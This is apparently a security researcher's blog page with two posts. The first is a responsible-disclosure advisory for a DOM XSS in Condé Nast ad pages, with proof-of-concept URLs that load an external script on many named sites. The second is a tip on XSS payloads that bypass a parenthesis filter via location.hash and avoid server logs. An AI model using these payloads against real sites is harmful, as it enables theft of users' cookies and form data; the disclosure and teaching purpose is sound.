David Sopas – Web Security Researcher

dom xss

16/09/15 Advisories # , , ,

DOM XSS in all Condé Nast sites network

DOM XSS in all Condé Nast sites network

For those who don’t know Condé Nast:

Condé Nast, a division of Advance Publications, is a mass media company headquartered at One World Trade Center in New York City. The company attracts more than 164 million consumers across its 20 print and digital media brands: Allure, Architectural Digest, Ars Technica, Bon Appétit, Brides, Condé Nast Traveler, Details, Epicurious, Glamour, Golf Digest, Golf World, GQ, Lucky, The New Yorker, Self, Teen Vogue, Vanity Fair, Vogue, W and Wired.

A DOM XSS vulnerability present in specific ads page on newyorker.com allowed me to understand that all of their network websites were vulnerable if a user to injected code into the url.

The affected file was displayad.html on ads directory:

<script type="text/javascript">
document.write('<script type="text/javascript" src="' + (location.search.split('req=')[1] || '') + '"></scr'+'ipt>');
</script>

location.search.split function is not properly escaped so it was possible to manipulate “req” parameter as we wish.

Proof-of-Concept:

http://www.newyorker.com/ads/displayad.html?req=https://www.davidsopas.com/poc/xss.js

Other sites on the network:

http://www.bonappetit.com/ads/displayad.html?req=https://www.davidsopas.com/poc/xss.js
http://www.brides.com/ads/displayad.html?req=https://www.davidsopas.com/poc/xss.js
http://www.wired.com/ads/displayad.html?req=https://www.davidsopas.com/poc/xss.js
http://www.arstechnica.com/ads/displayad.html?req=https://www.davidsopas.com/poc/xss.js
http://www.newyorker.com/ads/displayad.html?req=https://www.davidsopas.com/poc/xss.js
http://www.style.com/ads/displayad.html?req=https://www.davidsopas.com/poc/xss.js
http://www.vanityfair.com/ads/displayad.html?req=https://www.davidsopas.com/poc/xss.js
http://www.architecturaldigest.com/ads/displayad.html?req=https://www.davidsopas.com/poc/xss.js
http://www.gq.com/ads/displayad.html?req=https://www.davidsopas.com/poc/xss.js
http://www.gourmet.com/ads/displayad.html?req=https://www.davidsopas.com/poc/xss.js
http://www.glamour.com/ads/displayad.html?req=https://www.davidsopas.com/poc/xss.js

Keep in mind that these sites brings millions of users every day and these vulnerability in the wrong hands would be very dangerous.
A malicious user could also:

  • Access other sites inside another client’s private intranet.
  • Steal another client’s cookie(s).
  • Modify another client’s cookie(s).
  • Steal another client’s submitted form data.
  • Modify another client’s submitted form data (before it reaches the server).
  • Submit a form to your application on the user’s behalf which modifies passwords or other application data

This was fixed by Condé Nast security team which kept me updated every time showing me that it’s a company that care about security and their clients. Hope they can keep up the good work.

Timeline:
08-09-2015 Asked for a security contact
09-09-2015 First contact with the head of security of Condé Nast
10-09-2015 Sent the report
11-09-2015 Update received that they were clearing cache
14-09-2015 Problem solved
16-09-2015 Full disclosure

no responses
04/08/15 Tips and Tricks # ,

No parenteses allowed? location.hash is here

No parenteses allowed? location.hash is here

I come across a web application in a bounty private program that reflected my var – xss – with the following code:

var _s_tab = xss;
var _s_params = "";
var _s_autoScroll = true;
setTimeout("try { s_callAjax('search', ''); }
catch(ex) { setTimeout(\"s_callAjax('search', '');\", 2000);}", 50);

So what I tried next was to put a XSS vector in place:

</pre>
<pre>vuln-site/?t=xss;alert(1);//</pre>
<pre>

Which reflected:

var _s_tab = xss;alert1;//;

So it removed the () chars… I thought to myself – A Challenge!

My next step was to try something that I already used in a previous research.
Use location.hash and then execute my attack.

vuln-site/?t=1;document.body.innerHTML=location.hash#<img src=x onerror=prompt(1)>

The other good thing about this type of attack is that the payload is in part of the url hash and is therefore never sent to the server. (no servers logs of actual attack payload)

no responses